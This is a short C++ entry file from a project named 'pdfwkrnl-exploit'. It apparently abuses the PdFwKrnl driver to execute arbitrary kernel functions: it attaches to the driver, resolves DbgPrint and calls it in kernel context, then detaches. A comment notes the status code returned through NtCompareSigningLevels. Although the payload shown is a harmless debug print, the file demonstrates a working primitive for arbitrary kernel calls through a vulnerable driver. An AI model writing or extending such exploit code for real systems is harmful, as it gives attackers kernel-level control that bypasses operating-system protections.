pdfwkrnl-exploit/source/entry.cpp

#include "PdFwKrnl.h"

int main(void) {
	if (!pdfwkrnl::attach()) {
		printf(STR("failed to attach to driver \n"));
		return -1;
	}

	// a ntstatus of STATUS_INVALID_IMAGE_HASH or 0xC0000428 will always be returned as NtCompareSigningLevels always returns it if returned value by the called function is not equal then 0.
	pdfwkrnl::call_kernel_function<void>(pdfwkrnl::get_kernel_export("DbgPrint"), "hello from pdfwkrnl!\n");

	if (!pdfwkrnl::detach()) {
		printf(STR("failed to detach from driver \n"));
		return -1;
	}
}